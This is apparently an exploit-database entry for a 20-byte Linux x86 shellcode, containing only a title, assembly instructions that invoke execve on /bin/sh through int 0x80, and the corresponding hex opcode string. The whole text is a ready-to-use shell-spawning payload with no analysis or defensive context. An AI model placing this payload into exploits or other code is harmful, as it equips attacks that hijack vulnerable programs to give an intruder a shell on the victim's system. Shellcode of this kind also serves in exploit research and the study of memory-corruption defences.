Linux x86 20byte execve shellcode with NULL-byte

xor ecx, ecx

lea eax, [ecx+11]

cdq

push 0x68732f # hs//

push 0x6e69622f # nib/

mov ebx, esp

int 0x80

"\x31\xC9\x8D\x41\x0B\x99\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"